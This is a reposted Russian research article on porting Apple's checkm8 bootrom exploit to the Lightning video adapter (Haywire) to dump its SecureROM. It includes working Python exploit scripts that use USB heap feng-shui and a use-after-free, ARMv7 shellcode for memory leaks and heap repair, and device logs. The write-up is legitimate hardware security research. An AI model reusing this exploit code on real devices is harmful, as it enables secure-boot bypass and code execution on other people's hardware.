- PVSM.RU - https://www.pvsm.ru -

Появление эксплойта checkm8 можно назвать одним из важнейших событий прошедшего года для исследователей продукции Apple. Ранее мы уже опубликовали технический анализ [1] этого эксплойта. Сейчас сообщество активно развивает джейлбрейк checkra1n [2] на основе checkm8, поддерживающий линейку устройств iPhone от 5s до X и позволяющий установить на iOS пакетный менеджер Cydia и с его помощью устанавливать различные пакеты и твики.
checkm8 в значительной степени опирается на смещения различных функций в SecureROM и данных в SRAM. В связи с этим могут возникнуть вопросы: как изначально был извлечен SecureROM конкретного устройства? Был ли он извлечен с помощью уязвимостей, лежащих в основе checkm8, или каким-то другим образом?
Наверное, ответить на эти вопросы могут лишь сами исследователи, принимавшие участие в разработке checkm8. Однако, в этой статье мы расскажем об одном из подходов к извлечению SecureROM, основанном на уязвимостях, используемых в checkm8, и требующем минимальных знаний о структуре памяти устройства. Описанный метод не является универсальным и будет работать только на устройствах без технологии безопасности W^X. В качестве примера мы рассмотрим Lightning-видеоадаптер Apple (да, в этом адаптере есть свой SoC с SecureROM) и продемонстрируем не только извлечение SecureROM, но и полную реализацию функциональности checkm8 для этого адаптера.
В конце 2012-го Apple выпустила два видеоадаптера для разъема Lightning:
Спустя некоторое время пользователи обнаружили [3], что внутри адаптеров есть полноценный SoC с архитектурой ARM — S5L8747 (далее это название будет использоваться, когда речь идет о SoC исследуемого адаптера). Возможно, этим и объясняется их довольно высокая по сравнению с другими подобными устройствами стоимость. Согласно The iPhone Wiki [4], рассматриваемые видеоадаптеры имеют кодовое название Haywire, а их прошивка загружается динамически при подключении к некоторому устройству (например, к iPhone) через Lightning.

В прошлом году в Twitter появился тред [5] за авторством @nyan_satan [6] (перевод на русский на Хабре [7]), в котором была собрана и дополнена вся имеющаяся информация о видеоадаптерах Apple. В том числе и о том, как подключить адаптер к ПК по USB.
Версия SecureROM у SoC S5L8747, который используется в устройствах Haywire, — 1413.8. Судя по версии, эти устройства почти наверняка уязвимы к checkm8, но на момент исследования проект ipwndfu [8] и его форки не поддерживали S5L8747. Более того, в открытом доступе нам не удалось найти дамп SecureROM для S5L8747, из-за чего появился интерес к эксплуатации checkm8 на Haywire.
Прежде всего, нам нужно было подключить устройство к ПК. В твитах @nyan_satan были информация о том, как это сделать [9], и схема подключения [10]. С интерфейсными платами для Lightning и Micro-USB подключиться к Haywire довольно просто, но оказалось, что достать их в короткие сроки (а нам хотелось закончить исследование в течение недели) трудно, поэтому мы решили воспользоваться подручными средствами: макетной платной, несколькими соединительными проводами, ненужным USB-кабелем, понижающим преобразователем на базе AMS1117, разъемом Lightning (был снят с другого, безнадежно испорченного в ходе экспериментов, адаптера Haywire), двухсторонним скотчем и синей изолентой. В результате мы получили следующее:


Несмотря на свою неприглядность, получившаяся конструкция вполне работоспособна. При подключении к ПК в выводе dmesg мы получили заветную строку, и можно было приступать к более интересной части:
[ 167.757532] usb 1-2: new high-speed USB device number 11 using xhci_hcd
[ 167.888010] usb 1-2: New USB device found, idVendor=05ac, idProduct=1227
[ 167.888015] usb 1-2: New USB device strings: Mfr=2, Product=3, SerialNumber=4
[ 167.888017] usb 1-2: Product: Apple Mobile Device (DFU Mode)
[ 167.888020] usb 1-2: Manufacturer: Apple Inc.
[ 167.888022] usb 1-2: SerialNumber: CPID:8747 CPRV:10 CPFM:03 SCEP:10 BDID:02 ECID:000002FC9B42B92C IBFL:00 SRTG:[iBoot-1413.8]
Чтобы лучше понять изложенное ниже, нужно иметь представление о том, как работает эксплойт checkm8 и какие уязвимости он использует. Все это описано на примере iPhone 7 в статье "Технический анализ эксплойта checkm8" [1]. Сопоставив различные SoC и версии SecureROM, мы пришли к выводу, что S5L8747 больше всего похож на SoC S5L8947, используемый в Apple TV третьего поколения, поэтому эксплуатация уязвимостей будет отличаться от эксплуатации в iPhone 7. Рассмотрим наиболее важные различия между iPhone7 и Haywire:
iPhone 7, где использовалась 64-битная архитектура armv8, в Haywire — 32-битная armv7. Кроме того, в Haywire на этапе исполнения SecureROM также отсутствуют технологии, препятствующие исполнению записываемой памяти (отсутствует WXN — бит в регистре SCTLR, препятствующий исполнению регионов памяти, доступных для записи; нет ограничений со стороны MMU). В связи с этим нет необходимости в callback-chain — code-reuse подходе, используемом для iPhone 7. Вместо этого управление будет передаваться напрямую на шеллкод в INSECURE_MEMORY;SecureROM 1704.10 и более ранних версий нет возможности контролировать утечки памяти, так как пакет нулевой длины (zero-length-packet) создается для каждого запроса в очереди. Поэтому на Haywire будет использоваться другой подход heap feng-shui: свободная область небольшого размера будет создаваться в конце кучи путем почти полного заполнения кучи с помощью утечек памяти. В остальном принцип не изменился: на очередной итерации работы DFU часть выделений памяти попадет в небольшой свободный чанк в конец кучи, остальное будет выделено в начале с некоторым смещением относительно предыдущей итерации, за счет чего можно будет перезаписать конфигурационные дескрипторы и объект запроса.Для удачной эксплуатации checkm8 на Haywire необходимо определить основные параметры:
callback в объекте usb_device_io_request.Для поиска необходимых значений можно воспользоваться перебором, опираясь на реакцию исследуемого устройства, которую можно различить с ПК. В ходе экспериментов выяснилось, что можно ориентироваться на сообщения ядра (вывод команды dmesg -w; исследование производилось на ПК под управлением ОС Ubuntu 16.04): так можно определить момент перезагрузки устройства, а также переполнение конфигурационного дескриптора или исполнение бесконечного цикла на устройстве. Также полезными оказались исключения, возникающие при отправке запросов.
Итак, напишем на основе checkm8.py скрипт для поиска нужных значений. В нем сделаем отправку USB-запросов более информативной с помощью вывода исключений, и определим переменные, значения которых нужно найти:
large_leak — необходимое количество запросов для удачного heap feng-shui;padding — смещение от UaF-указателя до первого объекта usb_device_io_request на куче;overwrite — значение, которым будет перезаписан usb_device_io_request.from checkm8 import *
# make usb_req_* functions more informative
def libusb1_no_error_ctrl_transfer(device, bmRequestType, bRequest, wValue, wIndex, data_or_wLength, timeout):
try:
device.ctrl_transfer(bmRequestType, bRequest, wValue, wIndex, data_or_wLength, timeout)
except usb.core.USBError as ex:
print ex # need for more information
def usb_req_stall(device): libusb1_no_error_ctrl_transfer(device, 0x2, 3, 0x0, 0x80, 0x0, 10)
def usb_req_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0x40, 1)
def usb_req_no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0x41, 1)
if __name__ == '__main__':
device = dfu.acquire_device()
start = time.time()
print 'Found:', device.serial_number
# unknown values, need to brute
large_leak = 100
padding = 0x7c0
overwrite = ''
payload = ''
assert len(overwrite) + padding <= 0x800
# heap feng-shui
usb_req_stall(device)
for i in range(large_leak):
usb_req_leak(device)
usb_req_no_leak(device)
dfu.usb_reset(device)
dfu.release_device(device)
# set global state and restart usb
device = dfu.acquire_device()
device.serial_number
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
dfu.release_device(device)
time.sleep(0.5)
# heap occupation
device = dfu.acquire_device()
usb_req_stall(device)
usb_req_leak(device)
libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, 'A' * padding + overwrite, 100)
for i in range(0, len(payload), 0x800):
libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 100)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
print '(%0.2f seconds)' % (time.time() - start)
dfu.release_device(device)
При запуске можно заметить, что на этапе heap feng-shui на определенном запросе исключение меняется с [Errno 110] Operation timed out на [Errno 19] No such device (it may have been disconnected). Дело в том, что размер кучи в Haywire значительно меньше, чем на устройствах iPhone, и даже 100 объектов запроса не могут быть в ней размещены. Однако, это отличная возможность определить необходимое значение large_leak. Так как исключение меняется на 45-ом запросе, будем перебирать, начиная с него.

На значении 43 в выводе dmesg -w можно обнаружить предупреждения о неожиданном конфигурационном дескрипторе. Если посмотреть в Wireshark на USB-пакеты, можно убедиться, что запрашиваемый дескриптор оказался переполнен.

Таким образом, поиск необходимых констант почти закончен, и, экспериментируя со значением padding и overwrite, можно найти точное смещение первого дескриптора. При значении 43 — это 0x7a0, из-за чего значение usb_device_io_request находится за пределами UaF-буфера, и необходимо еще уменьшить large_leak. В ходе дальнейших экспериментов были получены значения large_leak = 41 и смещения первого дескриптора 0x6e0. Убедимся в правильности, перезаписав размер дескриптора с помощью overwrite = 'x09x02xff'. В Wireshark мы увидим следующий результат (вместо 25 ожидаемых байт было считано 255):

Полученные данные (значения дескрипторов и метаданные кучи) следует сохранить, они понадобятся в дальнейшем. Значение padding для переполнения usb_device_io_request вычисляется так: 0x6e0 (смещение до первого конфигурационного дескриптора) + 0x20 (размер области данных чанка с первым конфигурационным дескриптором) + 0x40 (размер целого чанка второго конфигурационного дескриптора) + 0x20 (размер метаданных чанка с usb_device_io_request) = 0x760.
Теперь можно передать управление по некоторому адресу. Предположительно, с помощью чтения за пределы конфигурационного дескриптора можно довольно точно определить нужные адреса. Но мы решили воспользоваться утекшими исходными кодами iBoot, которые достаточно легко найти в публичном доступе: из них можно узнать, что адрес загрузки для SoC S5L8747 — 0x22000000. Чтобы убедиться в этом, установим следующие значения искомых переменных и бесконечный цикл в качестве полезной нагрузки:
large_leak = 41
padding = 0x760
overwrite = struct.pack('<20xI', 0x22000000)
payload = 'xfexffxffxea' # armv7 inf-loop
При отправке USB-запросов в полученном коде возникнут необычные задержки, а в логе dmesg через некоторое время появятся следующие сообщения:
[ 3097.066887] usb 1-2: SerialNumber: CPID:8747 CPRV:10 CPFM:03 SCEP:10 BDID:02 ECID:000002FC9B42B92C IBFL:00 SRTG:[iBoot-1413.8]
[ 3097.384557] usb 1-2: reset high-speed USB device number 98 using xhci_hcd
[ 3102.497002] usb 1-2: device descriptor read/64, error -110
[ 3117.714855] usb 1-2: device descriptor read/64, error -110
[ 3117.930756] usb 1-2: reset high-speed USB device number 98 using xhci_hcd
[ 3123.043369] usb 1-2: device descriptor read/64, error -110
[ 3138.261119] usb 1-2: device descriptor read/64, error -110
[ 3138.477092] usb 1-2: reset high-speed USB device number 98 using xhci_hcd
[ 3143.493674] xhci_hcd 0000:00:14.0: Timeout while waiting for setup device command
[ 3143.697698] usb 1-2: Device not responding to setup address.
[ 3143.901633] usb 1-2: device not accepting address 98, error -71
[ 3144.013617] usb 1-2: reset high-speed USB device number 98 using xhci_hcd
Устройство перестало отвечать на USB-запросы из-за исполнения бесконечного цикла. Таким образом, была получена возможность исполнять произвольный код в SecureROM на Lightning-видеоадаптере Apple, и теперь можно приступить непосредственно к его извлечению.
Для извлечения SecureROM мы разработали шеллкод, который ищет строковые дескрипторы на куче и перезаписывает их данными из желаемого адреса. Для этого подойдет дескриптор названия продукта, в котором обычно содержится строка Apple Mobile Device (DFU Mode). Сами дескрипторы имеют следующую структуру: первый байт отведен под размер дескриптора, второй — его тип, а затем идет строка в кодировке UTF-16-LE. Для оптимизации в шеллкоде можно также изменить и размер найденного дескриптора на 0xff, чтобы за один раз извлекать 0xfd байт (т.к. два байта используются для размера и типа дескриптора). При переполнении usb_device_io_request также необходимо правильно переполнить метаданные кучи и значения дескрипторов (эти данные мы получили ранее за счет чтения за пределы конфигурационного дескриптора). Приведем код результата:
from checkm8 import *
from keystone import *
from hexdump import *
if __name__ == '__main__':
device = dfu.acquire_device()
start = time.time()
print 'Found:', device.serial_number
# unknown values, need to brute
large_leak = 41
padding = 0x6e0
conf_desc = '0902190001010580320904000000fe01'
'00000721010a00000800000000000000'.decode('hex')
chunk_meta = '08000000020000000000000000000000'
'00000000000000000000000000000000'.decode('hex')
overwrite = conf_desc + chunk_meta + conf_desc + chunk_meta +
struct.pack('<20xI', 0x22000000)
assert len(overwrite) + padding <= 0x800
payload = '''
push {r1-r7,lr}
ldr r4, =0x2201c000
mov r5, r4
pattern_matching_loop:
sub r4, r4, #1
mov r0, #0
adr r1, ptrn
compare_loop:
add r2, r4, r0, lsl #1
cmp r2, r5
bge pattern_matching_loop
ldrb r3, [r1,r0]
ldrb r6, [r2]
cmp r3, r6
bne pattern_matching_loop
add r0, r0, #1
cmp r0, #30
beq found
b compare_loop
found:
mov r0, #0xff
strb r0, [r4, #-0x2]
mov r0, #0
mov r1, r4
ldr r2, =0x200 # target address
rewrite_loop:
ldrb r3, [r2,r0]
strb r3, [r1,r0]
add r0, r0, #1
cmp r0, #0xfd
ble rewrite_loop
pop {r1-r7,pc}
ptrn:
.asciz "Apple Mobile Device (DFU Mode)"
'''
ks = Ks(KS_ARCH_ARM, KS_MODE_ARM)
payload, _ = ks.asm(payload)
payload = ''.join(chr(i) for i in payload)
# heap feng-shui
usb_req_stall(device)
for i in range(large_leak):
usb_req_leak(device)
usb_req_no_leak(device)
dfu.usb_reset(device)
dfu.release_device(device)
# set global state and restart usb
device = dfu.acquire_device()
device.serial_number
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
dfu.release_device(device)
time.sleep(0.5)
# heap occupation
device = dfu.acquire_device()
usb_req_stall(device)
usb_req_leak(device)
libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, '' * padding + overwrite, 100)
for i in range(0, len(payload), 0x800):
libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 100)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
print '(%0.2f seconds)' % (time.time() - start)
desc = device.ctrl_transfer(0x80, 6, 0x303, 0, 0xff, 50)
leak = ''.join(chr(i) for i in desc)[2:]
hexdump(leak)
dfu.release_device(device)
В качестве адреса для чтения был выбран 0x200, так как по этому адресу должна быть строка с версией SecureROM. При запуске получаем ожидаемое значение:
# python ./checkm8-leak.py
Found: CPID:8747 CPRV:10 CPFM:03 SCEP:10 BDID:02 ECID:000002FC9B42B92C IBFL:00 SRTG:[iBoot-1413.8]
(1.26 seconds)
00000000: 53 65 63 75 72 65 52 4F 4D 20 66 6F 72 20 73 35 SecureROM for s5
00000010: 6C 38 37 34 37 78 73 69 2C 20 43 6F 70 79 72 69 l8747xsi, Copyri
00000020: 67 68 74 20 32 30 31 31 2C 20 41 70 70 6C 65 20 ght 2011, Apple
00000030: 49 6E 63 2E 00 00 00 00 00 00 00 00 00 00 00 00 Inc.............
00000040: 52 45 4C 45 41 53 45 00 00 00 00 00 00 00 00 00 RELEASE.........
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 69 42 6F 6F 74 2D 31 34 31 33 2E 38 00 00 00 00 iBoot-1413.8....
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 .............
Используя данный подход, можно полностью сдампить весь SecureROM. За счет того, что Haywire всегда запускается в режиме DFU, этот процесс можно полностью автоматизировать, и на весь дамп потребуется менее часа. После этого можно приступить к поиску необходимых смещений для портирования checkm8 на Haywire.
Для поиска необходимых функций и констант можно сравнивать SecureROM устройств, для которых checkm8 уже реализован, и SecureROM, извлеченный с Haywire. Сам процесс поиска описывать не будем, результат можете посмотреть в репозитории [11]. К сожалению, после того, как все значения были найдены, ничего не заработало, устройство не переходило в pwned-DFU режим. Оказалось, что это вызвано двумя проблемами: отсутствие свободного пространства в куче и повреждение метаданных кучи. Первую проблему наверняка можно решить, подобрав другое, меньшее значение large_leak, а вторую — перезаписывая конфигурационные дескрипторы и метаданные чанков валидными значениями. Вместо этого можно воспользоваться дополнительным шеллкодом для восстановления метаданных и освобождения кучи, и затем уже передать управление на полезную нагрузку checkm8. В результате получился следующий шеллкод:
push {r1-r7,lr}
ldr r4, =0x2201b4e0 # leaked requests address
mov r5, #0
ldr r6, =0x361c # free function
add r6, r6, #1
# we need more free space, so clear leaked requests
loop:
add r0, r4, r5
blx r6
add r5, r5, #0x40
cmp r5, #0x780
bne loop
# restore original chunk meta-data
ldr r4, =0x2201b340 # second conf descriptor chunk header
ldr r0, =0x00000008 # original chunk header values
ldr r1, =0x00000002
str r0, [r4]
str r1, [r4, #4]
pop {r1-r7,lr}
ldr r0, =0x22000000
bx r0 # jump to checkm8 payload
Необходимые адреса на куче и нужные значения метаданных, используемые в шеллкоде, были получены с помощью метода чтения по произвольному адресу, описанному в предыдущей части статьи.
В результате был получен checkm8 с полностью рабочими примитивами: чтения и записи памяти, а также исполнения функций по произвольному адресу. Дополнив другие значения, используемые в ipwndfu, удалось получить доступ к функции шифрования и дешифрования с помощью GID-ключа и затем расшифровать вторую стадию загрузки Haywire с помощью утилиты xpwntool [12]:

Описанный в статье метод извлечения SecureROM не требует особых версий устройств со включенной отладкой, дорогостоящих отладочных кабелей или специализированного оборудования. Конечно, этот метод работает далеко не на всех устройствах, а лишь на тех, где возможно исполнение кода в секции данных. В случае Apple, это устройства с 32-битной архитектурой armv7. checkm8 уже поддерживает большинство таких устройств, но не Haywire, именно поэтому мы и взяли его в качестве примера.
Ознакомиться с результатом можно в репозитории ipwndfu-haywire [13].
Теперь, имея возможность исполнять произвольный код в SecureROM, наконец-то можно попробовать запустить DOOM [14] прямо на видеоадаптере Haywire.
Надеемся, что статья была интересной и полезной. Хотя и описанный подход специфичен для устройств Apple и уязвимостей из checkm8, он и его отдельные части могут быть применены в контексте других устройств.
Первоисточник [15]
Автор: a1exdandy
Источник [17]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/vulnerability/345004
Ссылки в тексте:
[1] опубликовали технический анализ: https://habr.com/ru/company/dsec/blog/471668/
[2] checkra1n: https://checkra.in/
[3] пользователи обнаружили: https://panic.com/blog/the-lightning-digital-av-adapter-surprise/
[4] The iPhone Wiki: https://www.theiphonewiki.com/wiki/Haywire
[5] тред: https://twitter.com/nyan_satan/status/1155148789977636864
[6] @nyan_satan: https://twitter.com/nyan_satan
[7] перевод на русский на Хабре: https://habr.com/ru/post/461607/
[8] ipwndfu: https://github.com/axi0mX/ipwndfu
[9] как это сделать: https://twitter.com/nyan_satan/status/1155149072036237313
[10] схема подключения: https://twitter.com/nyan_satan/status/1155149135600934912
[11] репозитории: https://github.com/a1exdandy/ipwndfu-haywire/blob/master/checkm8.py#L166
[12] xpwntool: https://github.com/planetbeing/xpwn/
[13] ipwndfu-haywire: https://github.com/a1exdandy/ipwndfu-haywire
[14] запустить DOOM: https://twitter.com/JacobEthanWhite/status/1210669461897805824
[15] Первоисточник: https://dsec.ru/blog/checkm8-dlya-lightning-videoadapterov-apple/
[16] Luca Todesco, The One Weird Trick SecureROM Hates: http://iokit.racing/oneweirdtrick.pdf
[17] Источник: https://habr.com/ru/post/485216/?utm_source=habrahabr&utm_medium=rss&utm_campaign=485216
Нажмите здесь для печати.